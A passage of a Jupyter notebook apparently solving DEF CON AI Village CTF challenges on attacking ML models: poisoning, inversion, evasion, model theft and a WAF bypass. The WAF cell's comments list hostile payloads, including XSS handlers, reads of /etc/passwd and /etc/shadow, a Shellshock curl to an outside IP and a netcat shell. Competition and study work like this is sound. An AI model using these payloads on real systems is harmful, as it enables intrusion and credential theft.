it!\n","metadata":{}},{"cell_type":"code","source":"Ima(filename=f'{dir_name}/honorstudent/f.png')","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:22:43.599752Z","iopub.execute_input":"2022-09-11T20:22:43.600131Z","iopub.status.idle":"2022-09-11T20:22:43.617881Z","shell.execute_reply.started":"2022-09-11T20:22:43.600100Z","shell.execute_reply":"2022-09-11T20:22:43.616567Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"img = Im.open(f\"{dir_name}/honorstudent/f.png\")\nimg = np.array(img)\n\nfor i in range(28):\n    for j in range(28):\n        tmp = np.random.uniform(0, 1)\n        if tmp < 0.3:\n            img[i][j] += np.random.randint(-10, 10)\n\n            \nplt.imshow(img)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:22:45.678914Z","iopub.execute_input":"2022-09-11T20:22:45.679371Z","iopub.status.idle":"2022-09-11T20:22:45.903658Z","shell.execute_reply.started":"2022-09-11T20:22:45.679336Z","shell.execute_reply":"2022-09-11T20:22:45.902597Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from io import BytesIO\nanimage = Im.fromarray(img)\nimagefile = BytesIO()\nanimage.save(imagefile, format='png')\nimagedata = imagefile.getvalue()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:22:48.571628Z","iopub.execute_input":"2022-09-11T20:22:48.572038Z","iopub.status.idle":"2022-09-11T20:22:48.579294Z","shell.execute_reply.started":"2022-09-11T20:22:48.572003Z","shell.execute_reply":"2022-09-11T20:22:48.578046Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nwith open(f\"{dir_name}/honorstudent/f.png\", \"rb\") as f:\n    try:\n        r = requests.post(\"https://honorstudent.fly.dev/score\", files={\"data_file\": imagedata})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:22:51.142281Z","iopub.execute_input":"2022-09-11T20:22:51.142723Z","iopub.status.idle":"2022-09-11T20:22:51.311960Z","shell.execute_reply.started":"2022-09-11T20:22:51.142683Z","shell.execute_reply":"2022-09-11T20:22:51.310703Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"honorstudent\", \"PGS899ZD0RW582ASW1AZNL20H9AKWGZANCA3ZN5U1R6W}3ZO8PJON30BAXOPTLAATWCLTPRHWR0ELSSFHQLWSTAG0L{CXATQH6VFC76TFHJIT87YTXAN01F6IV2LUML6\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:30.195408Z","iopub.execute_input":"2022-09-11T20:46:30.195900Z","iopub.status.idle":"2022-09-11T20:46:30.208031Z","shell.execute_reply.started":"2022-09-11T20:46:30.195861Z","shell.execute_reply":"2022-09-11T20:46:30.206898Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Secret Sloth (id: sloth) -- 400 Points\n\n### Scenario\n\nThe sloth in `secret.sloth/secret-sloth.png` has a very cool hat... and a secret message for you. The message is your flag.\n\n### Objective \n\nThe flag is in the image somewhere; as always, look for `FLAG{something}`","metadata":{}},{"cell_type":"code","source":"Im.open(f'{dir_name}/secret.sloth/secret-sloth.png').convert('RGB')","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:23:02.428463Z","iopub.execute_input":"2022-09-11T20:23:02.428894Z","iopub.status.idle":"2022-09-11T20:23:02.588059Z","shell.execute_reply.started":"2022-09-11T20:23:02.428856Z","shell.execute_reply":"2022-09-11T20:23:02.586849Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from scipy.fft import *\n\nimg = Im.open(f'{dir_name}/secret.sloth/secret-sloth.png').convert('RGB')\nimg_np = np.asarray(img)\nfor i in range(3):\n    img = Im.open(f'{dir_name}/secret.sloth/secret-sloth.png')\n    img_np = np.asarray(img)\n    img_np = img_np/255.\n    img_tmp = img_np[:, :, i]\n    \n    imgFT = idst(img_tmp, type=3, norm='ortho') \n    #imgFT = imgFT*2/np.prod(np.shape(imgFT)) \n    \n    A = np.log10(imgFT)\n    phi = np.angle(imgFT)\n\n    plt.figure(figsize = (15,15))\n    plt.imshow(phi)\n    plt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:23:04.820222Z","iopub.execute_input":"2022-09-11T20:23:04.820645Z","iopub.status.idle":"2022-09-11T20:23:06.294048Z","shell.execute_reply.started":"2022-09-11T20:23:04.820611Z","shell.execute_reply":"2022-09-11T20:23:06.292816Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\n        \"http://flags.fly.dev:5000/score\", \n        json=json.dumps({\"challenge_id\": \"sloth\", \"submission\": \"FLAG{SPECTRAL}\"})\n    )\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:23:08.821633Z","iopub.execute_input":"2022-09-11T20:23:08.822880Z","iopub.status.idle":"2022-09-11T20:23:08.949193Z","shell.execute_reply.started":"2022-09-11T20:23:08.822822Z","shell.execute_reply":"2022-09-11T20:23:08.948177Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"sloth\", \"GQCX7WK4V7STRFB00RGPVPRCQS527GTL48PN{QKY1P3HLDYNVM0IL8TBDECJYHR6WGSEMMD9}683PNHT9HGSI5AMHBALL1MBNLDLB4F716LLUJPT2TVPJ1R0S5RNQBSW\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:33.452677Z","iopub.execute_input":"2022-09-11T20:46:33.453728Z","iopub.status.idle":"2022-09-11T20:46:33.467269Z","shell.execute_reply.started":"2022-09-11T20:46:33.453673Z","shell.execute_reply":"2022-09-11T20:46:33.465788Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Bad to Good (id: bad_to_good) -- 300 Points\n\n### Scenario\n\nYou can’t buy a homecoming ticket if you get classified as a “good student”. Can you help Henry poison the classifier? He can only access one of four classes grades, but he can influence the everyone in the class.\n\n### Objective\n\nModify and submit your tampered `csv`. Try and get Henry classified as a good student. Be careful to not overdo it!","metadata":{"execution":{"iopub.status.busy":"2022-07-06T18:06:36.224662Z","iopub.execute_input":"2022-07-06T18:06:36.22512Z","iopub.status.idle":"2022-07-06T18:06:36.324329Z","shell.execute_reply.started":"2022-07-06T18:06:36.225025Z","shell.execute_reply":"2022-07-06T18:06:36.322661Z"}}},{"cell_type":"code","source":"df = pd.read_csv(f\"{dir_name}/bad2good/math.csv\")\n\ngrade_lower = 50\ndf['Grade'] = df[df['FirstName']!='Henry']['Grade'].apply(lambda x: int(x - grade_lower))\ndf['Grade'].iloc[-1] = int(200)\n\nabsence_higher = 2.5\ndf['Absences'] = df[df['FirstName']!='Henry']['Absences'].apply(lambda x: int(x + absence_higher))\ndf['Absences'].iloc[-1] = int(-2)\n\ndemerits_higher = 3.5\ndf['Demerits'] = df[df['FirstName']!='Henry']['Demerits'].apply(lambda x: int(x + demerits_higher))\ndf['Demerits'].iloc[-1] = int(-3)\n\n\nscores_lower = -5.5\ndf['Score'] = df[df['FirstName']!='Henry']['Score'].apply(lambda x: int(x - scores_lower))\ndf['Score'].iloc[-1] = int(56)\n\ndf","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:23:21.019847Z","iopub.execute_input":"2022-09-11T20:23:21.020280Z","iopub.status.idle":"2022-09-11T20:23:21.083089Z","shell.execute_reply.started":"2022-09-11T20:23:21.020242Z","shell.execute_reply":"2022-09-11T20:23:21.081939Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\nfrom io import TextIOWrapper\n\nwith open(f\"{dir_name}/bad2good/math.csv\", \"r\") as f:\n    try:\n        s = df.to_csv()\n        encoded = s.encode()\n        r = requests.post(\"https://bad2good.fly.dev/score\", files={\"data_file\": encoded})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:23:33.950580Z","iopub.execute_input":"2022-09-11T20:23:33.951245Z","iopub.status.idle":"2022-09-11T20:23:34.123892Z","shell.execute_reply.started":"2022-09-11T20:23:33.951206Z","shell.execute_reply":"2022-09-11T20:23:34.122848Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"bad_to_good\", \"wtHpGF5ShB0XT9ZJnBBY749AOSQ9RGYS5E97W6H6F_2U1YF3JZ9VW2PtDEXQSOB_AFXHGK5e8IAR7SaHY7WN}bFL8L8V6IKGoUOGT9XHBDLYU7_FP0I0MMd4N{QUBQR8\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:36.888113Z","iopub.execute_input":"2022-09-11T20:46:36.888563Z","iopub.status.idle":"2022-09-11T20:46:36.900357Z","shell.execute_reply.started":"2022-09-11T20:46:36.888526Z","shell.execute_reply":"2022-09-11T20:46:36.898997Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Inference (id: inference) -- 400 Points\n\n### Scenario\n\nModel model on the wall, who is the fairest of them all?\n\n?gnidaer llits uoy era yhW .uoy htiw skcans thguorb ev'dluohs uoY .skcans rof pots t'noD .won oG .tsaf oG .niW .galf eht teG .ledom eht esreveR\n\nReverse the model. Get the flag. Win. Go fast. Go now. Don't stop for snacks. You should've brought snacks with you. Why are you still reading?\n\n\n### Objective\n\nRetrieve the images that spell the flag. Wrap any text in `FLAG{}`\n\n**If you need a hint, there's a guy named `moo` somewhere.**","metadata":{}},{"cell_type":"code","source":"d = {i:[] for i in range(0,6)}\n\nfor i in range(65, 65+26):\n    letter = chr(i)\n    im = Im.open(f'../input/letters/{letter}.png').convert('L')\n    x = np.reshape(im, (1, 32, 32, 1))\n    x = 1-x/255.\n    #plt.imshow(x.reshape(32,32))\n    #plt.show()\n    response = requests.post(\"https://inference.fly.dev/score\", data = json.dumps({\"input\": x.tolist()}))\n    print(f'letter {letter}')\n    rspns = json.loads(response.text)\n    argm = np.argmax(rspns['outputs'])\n    print(rspns['outputs'], '\\n')\n    d[argm].append(chr(i))","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#a = 'I'\n#for b in d[1]:\n#    for c in d[2]:\n#        for dd in d[3]:\n#            for e in d[4]:\n#                for f in d[5]:\n#                    s = a + b + c + dd + e + f\n#                    r = requests.post(\n#                        \"http://flags.fly.dev:5000/score\", \n#                        json=json.dumps({\"challenge_id\": \"inference\", \"submission\": s})\n#                    )\n#                    print(s)\n#                    print(r.text)\n#                    print()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.861686Z","iopub.status.idle":"2022-09-11T19:37:55.862079Z","shell.execute_reply.started":"2022-09-11T19:37:55.861888Z","shell.execute_reply":"2022-09-11T19:37:55.861906Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"try:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"inference\", \"submission\": \"FLAG{D3FC0N}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:24:07.152482Z","iopub.execute_input":"2022-09-11T20:24:07.152892Z","iopub.status.idle":"2022-09-11T20:24:07.276967Z","shell.execute_reply.started":"2022-09-11T20:24:07.152856Z","shell.execute_reply":"2022-09-11T20:24:07.275761Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"inference\", \"DKQ8V2KV3B1OID8AI06NN92IBLTN61EP99RU28MQLAPFS1J2UZW8945OOHER5GC0TBO4DY0XS6AFZSXIGVRQHF4YKG9HS}LY1BJQHSVEOFCG{ANF5Z7U324UI9WHNZOQ\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:40.108882Z","iopub.execute_input":"2022-09-11T20:46:40.109312Z","iopub.status.idle":"2022-09-11T20:46:40.120947Z","shell.execute_reply.started":"2022-09-11T20:46:40.109278Z","shell.execute_reply":"2022-09-11T20:46:40.119727Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Baseball  (id: baseball) -- 300 Points\n\n### Scenario\n\nHenry has to miss baseball tryouts to get ready for his date. Can you cover for him? Henry is a pitcher and the team uses software to analyze pitch patterns to classify pitchers. \n\n### Objective\n\nThrow 15 pitches at x,y (each bounded on [0,29]). Check out `test_pitch.json` to see the expected format. Can you throw 15 pitches to get classified as Henry?","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\nwith open(f\"{dir_name}/baseball/test_pitch.json\", \"r\") as f:\n    test = json.load(f)\n    p = test['pitches']\n    print(test, '\\n')\n    \n    l = []\n    for i, pitch in enumerate(p):\n        l.append({'x': int(np.random.uniform(7, 17)), 'y': int(np.random.uniform(8, 18))})\n    test['pitches'] = l\n    print(test)\n\ntry:\n    r = requests.post(\"https://bball.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:24:16.674780Z","iopub.execute_input":"2022-09-11T20:24:16.675189Z","iopub.status.idle":"2022-09-11T20:24:16.977378Z","shell.execute_reply.started":"2022-09-11T20:24:16.675155Z","shell.execute_reply":"2022-09-11T20:24:16.976232Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"d = {'pitches': [\n    {'x': 14, 'y': 10}, \n    {'x': 6, 'y': 11}, \n    {'x': 12, 'y': 9}, \n    {'x': 19, 'y': 10}, \n    {'x': 16, 'y': 9}, \n    {'x': 11, 'y': 12}, \n    {'x': 7, 'y': 13}, \n    {'x': 11, 'y': 14}, \n    {'x': 7, 'y': 12}, \n    {'x': 13, 'y': 14}, \n    {'x': 10, 'y': 11}, \n    {'x': 13, 'y': 12}, \n    {'x': 12, 'y': 8}, \n    {'x': 8, 'y': 8}, \n    {'x': 12, 'y': 14}\n]}\n\nr = requests.post(\"https://bball.fly.dev/score\", json=d)\nprint(r.text)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:24:21.400214Z","iopub.execute_input":"2022-09-11T20:24:21.401548Z","iopub.status.idle":"2022-09-11T20:24:21.699201Z","shell.execute_reply.started":"2022-09-11T20:24:21.401489Z","shell.execute_reply":"2022-09-11T20:24:21.697875Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"baseball\", \"UQ7D7EOL5XIWH2GDEJ7R90KL6G7CF1S4AMA3FMKKFQJ{AO6K0H900CGMGLK0YUFK5XNKYCA2KIRG}THYB6Q7PBC34G7XP4XBL5ACZPK9PGNEO9GJE07S41RFFWOUVCCU\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:43.193913Z","iopub.execute_input":"2022-09-11T20:46:43.194375Z","iopub.status.idle":"2022-09-11T20:46:43.208595Z","shell.execute_reply.started":"2022-09-11T20:46:43.194337Z","shell.execute_reply":"2022-09-11T20:46:43.207245Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WAF (id: waf) -- 500 Points\n\n### Scenario\n\nA ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.\n\n### Objective\n\nThe goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.\n\nPS: The WAF assesses malicious strings in 5 characters blocks.","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:01.386134Z","iopub.execute_input":"2022-07-25T14:57:01.386630Z","iopub.status.idle":"2022-07-25T14:57:01.396510Z","shell.execute_reply.started":"2022-07-25T14:57:01.386588Z","shell.execute_reply":"2022-07-25T14:57:01.394443Z"}}},{"cell_type":"code","source":"# Submission Helper\n\nimport base64\nimport requests\nimport json\n\n# <big onbeforecut=\"alert(1)\" contenteditable>test</big> -> C9iaW\n# <big onmouseenter=\"alert(1)\">test</big>                -> C9iaW\n# <big onmouseleave=\"alert(1)\">test</big>                -> C9iaW\n# <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}\n# </style><basefont id=x style=\"position:absolute;\" onanimationcancel=\"alert(1)\"></basefont>  -> vYmFz\n# declare @s varchar(200)                                -> DIwMC\n# &lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt; -> iaW4v\n# &lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt; -> iaW4v\n# a);/usr/bin/id -> 9iaW4\n# () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\\`whoami\\`\" -> KCkge\n# ; nc -lvvp 4444 -e /bin/sh; -> C9iaW\n\ninput_ = base64.b64encode(b\"() { :;}; \")\ninput_ = input_.decode()\nprint(f'Input after decode: {input_}')\ndata = json.dumps(\n    {\"input\":  \"KCkg e yA6 O307IA==\"}\n)\nprint()\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:24:32.068093Z","iopub.execute_input":"2022-09-11T20:24:32.068526Z","iopub.status.idle":"2022-09-11T20:24:32.221084Z","shell.execute_reply.started":"2022-09-11T20:24:32.068491Z","shell.execute_reply":"2022-09-11T20:24:32.219743Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"waf\", \"LX98CVL2TYMYRBT8O0ZMGDQ04NN8U8FYHBU8EIQH0DAMOLR94I1QPRZH1ZLPW{NEZ6WZP1GEY02MEXNAH2YK6PN629F0R9KGOEA}Q34ENKIBKY4U3JVWZJ8OQHRX3YNV\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:46.375252Z","iopub.execute_input":"2022-09-11T20:46:46.375778Z","iopub.status.idle":"2022-09-11T20:46:46.389126Z","shell.execute_reply.started":"2022-09-11T20:46:46.375731Z","shell.execute_reply":"2022-09-11T20:46:46.387761Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Excuse me, your training data is leaking (id: leakage) -- 200 Points\n\n### Scenario\n\nWhile digging around a poorly secured S3 bucket, you found an old version of a pretrained char-RNN model (`leakage/pretrained_model.pt`). The scripts in the same bucket suggest that -- in addition to doorstop Russian literature -- it was accidentally trained on a whole load of system files, including an unencrypted password file!  Those files aren't around anymore, but you've got the model weights, and you've found an old myspace login: \"xXx_SkynetKilla_xXx\" (they were 13 at the time, and would rather forget the whole thing, thank you very much). Can you recover their password?\n\nThe following code should allow you to load the model and featurize a string for use in the model.\n```python\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"pretrained_model.pt\"))\n```\n\n\n### Objective\n\nThe password is your flag, as usual it is in the format `FLAG{something}`\n","metadata":{}},{"cell_type":"code","source":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"../input/ai-village-ctf/leakage/pretrained_model.pt\"))","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:24:43.562423Z","iopub.execute_input":"2022-09-11T20:24:43.562874Z","iopub.status.idle":"2022-09-11T20:24:43.658923Z","shell.execute_reply.started":"2022-09-11T20:24:43.562835Z","shell.execute_reply":"2022-09-11T20:24:43.657702Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"input_ = featurize(\"xXx_SkynetKilla_xXx:FLAG{s4RaHc0Nnor<3<3}\")\nprint(input_.shape)\ntorch.argmax(model(input_))","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:24:47.098922Z","iopub.execute_input":"2022-09-11T20:24:47.099918Z","iopub.status.idle":"2022-09-11T20:24:47.175295Z","shell.execute_reply.started":"2022-09-11T20:24:47.099863Z","shell.execute_reply":"2022-09-11T20:24:47.174077Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"leakage\", \"submission\": \"FLAG{s4RaHc0Nnor<3<3}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:24:50.259041Z","iopub.execute_input":"2022-09-11T20:24:50.259456Z","iopub.status.idle":"2022-09-11T20:24:50.385853Z","shell.execute_reply.started":"2022-09-11T20:24:50.259395Z","shell.execute_reply":"2022-09-11T20:24:50.384649Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"leakage\", \"Ha50sI4JJKrMFUnRCQOoQQ2HAL0KIGDLQA8HWVDE7SSBWW8PL4NB<OLSL07R4ZB642SFUVA}1IFQF0CNcQ3N{66MBXI83JVXGKEX3IL<XKZ0DRTNRWS04S7T9WT8F3FL\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:49.725608Z","iopub.execute_input":"2022-09-11T20:46:49.726839Z","iopub.status.idle":"2022-09-11T20:46:49.737235Z","shell.execute_reply.started":"2022-09-11T20:46:49.726790Z","shell.execute_reply":"2022-09-11T20:46:49.735981Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# FORENSICS (id: forensics) -- 300 Points\n\n### Scenario\n\nML Models have a lot of information stored within them that you might not realise is useful, such as the Model architecture and model name.\nFor this challenge, we've swapped out the model name with the flag in the attached file.\n\n### Objective\n\nRetreive the flag from the attached file (`defcon-ai-village-ctf/forensics/forensics.h5`). Try to do it by viewing the model in keras rather than just looking through the file :)\nPS, replace the () characters with {} in the flag submission.","metadata":{}},{"cell_type":"code","source":"from tensorflow import keras\n\n#model = keras.models.load_model(f'{dir_name}/forensics/forensics.h5')\n#print(model)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:25:06.412257Z","iopub.execute_input":"2022-09-11T20:25:06.412992Z","iopub.status.idle":"2022-09-11T20:25:15.398454Z","shell.execute_reply.started":"2022-09-11T20:25:06.412952Z","shell.execute_reply":"2022-09-11T20:25:15.397173Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#model.summary()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:25:31.201676Z","iopub.execute_input":"2022-09-11T20:25:31.202541Z","iopub.status.idle":"2022-09-11T20:25:31.221263Z","shell.execute_reply.started":"2022-09-11T20:25:31.202499Z","shell.execute_reply":"2022-09-11T20:25:31.219961Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"forensics\", \"submission\": \"FLAG{F0R3NS1C5_XD}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:25:36.036828Z","iopub.execute_input":"2022-09-11T20:25:36.037584Z","iopub.status.idle":"2022-09-11T20:25:36.161424Z","shell.execute_reply.started":"2022-09-11T20:25:36.037535Z","shell.execute_reply":"2022-09-11T20:25:36.160192Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"forensics\", \"FSWMEIKPO03XZMMDML3CUDK5BG4B3I14A}O32OGIGOL8FNZPH580K8RBF5WJB7SDF1TD32K143RE5ZGEOI7A5FTT0FF6WAX30G4I26RCE33YA{BCV_5YI84F38S7ZWDM\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:53.683673Z","iopub.execute_input":"2022-09-11T20:46:53.684123Z","iopub.status.idle":"2022-09-11T20:46:53.696769Z","shell.execute_reply.started":"2022-09-11T20:46:53.684085Z","shell.execute_reply":"2022-09-11T20:46:53.695308Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# THEFT (id: theft) -- 100 Points\n\n### Scenario\n\nA client has spun up a website to identify images, is there a way to steal their machine learning model and use the knowledge within it to backdoor this photo of an owl to be a turtle (loggerhead).\n\n### Objective\n\nThe goal of this challenge is to steal the model to do an offline evasion attack against it.\nSample code is provided in the CNN file. This solution is ready to beat the Google’s CNN Challenge file.","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:49.925729Z","iopub.execute_input":"2022-07-25T14:57:49.926151Z","iopub.status.idle":"2022-07-25T14:57:49.936199Z","shell.execute_reply.started":"2022-07-25T14:57:49.926114Z","shell.execute_reply":"2022-07-25T14:57:49.934450Z"}}},{"cell_type":"code","source":"with open(f'{dir_name}/salt/picklemodel', 'rb') as f:\n    model = pickle.load(f)\n    \nIMAGE_DIMS = (224, 224)\noriginal_image = Im.open(f'{dir_name}/theft/owl.jpg').resize(IMAGE_DIMS)\noriginal_image = prepare_image(original_image)\nimg = original_image\nfinal_img = create_img(img, model, 'loggerhead', 33, des_conf=0.95)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:34:33.175764Z","iopub.execute_input":"2022-09-11T20:34:33.176227Z","iopub.status.idle":"2022-09-11T20:34:42.652367Z","shell.execute_reply.started":"2022-09-11T20:34:33.176186Z","shell.execute_reply":"2022-09-11T20:34:42.651375Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"final_img","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:34:42.655264Z","iopub.execute_input":"2022-09-11T20:34:42.655748Z","iopub.status.idle":"2022-09-11T20:34:42.696624Z","shell.execute_reply.started":"2022-09-11T20:34:42.655701Z","shell.execute_reply":"2022-09-11T20:34:42.695728Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"img_bytes = final_img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\ntry:\n    r = requests.post(\"https://theft.fly.dev/score\", data=json.dumps(data))\n    print(r.text, '\\n')\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:34:45.511492Z","iopub.execute_input":"2022-09-11T20:34:45.512192Z","iopub.status.idle":"2022-09-11T20:34:47.102526Z","shell.execute_reply.started":"2022-09-11T20:34:45.512147Z","shell.execute_reply":"2022-09-11T20:34:47.101166Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"theft\", \"R8LUTLWGMCHNGKY91PHCF}BQA8I?59GVG4G6SOP06D4QCRVBVEO2CM10NA3Q11DL9PNG4Y3QM85{9F1DNSJVNV5YZFPEWBEWSQDJBHV3D6LD3HY8B93M7NYKXMKQ7PY5\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:56.913396Z","iopub.execute_input":"2022-09-11T20:46:56.914145Z","iopub.status.idle":"2022-09-11T20:46:56.926496Z","shell.execute_reply.started":"2022-09-11T20:46:56.914096Z","shell.execute_reply":"2022-09-11T20:46:56.925214Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# SALT (id: salt) -- 200 Points\n\n### Scenario\n\nImages sent to this model are modified (salted) before classification, can you still do an evasion attack against it?\n\n### Objective\n\nBuild an evasion attack that will beat the image salting defence.\n\nPS:You are going to want to do Theft first as it will give you an adversarial image ready to go against this model.","metadata":{}},{"cell_type":"code","source":"with open(f'{dir_name}/salt/picklemodel', 'rb') as f:\n    model = pickle.load(f)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:11:14.817283Z","iopub.execute_input":"2022-09-11T20:11:14.818543Z","iopub.status.idle":"2022-09-11T20:11:20.942713Z","shell.execute_reply.started":"2022-09-11T20:11:14.818492Z","shell.execute_reply":"2022-09-11T20:11:20.941421Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"IMAGE_DIMS = (224, 224)\noriginal_image = Image.open(f'{dir_name}/salt/turtle.jpg').resize(IMAGE_DIMS)\noriginal_image = prepare_image(original_image)\nimg = 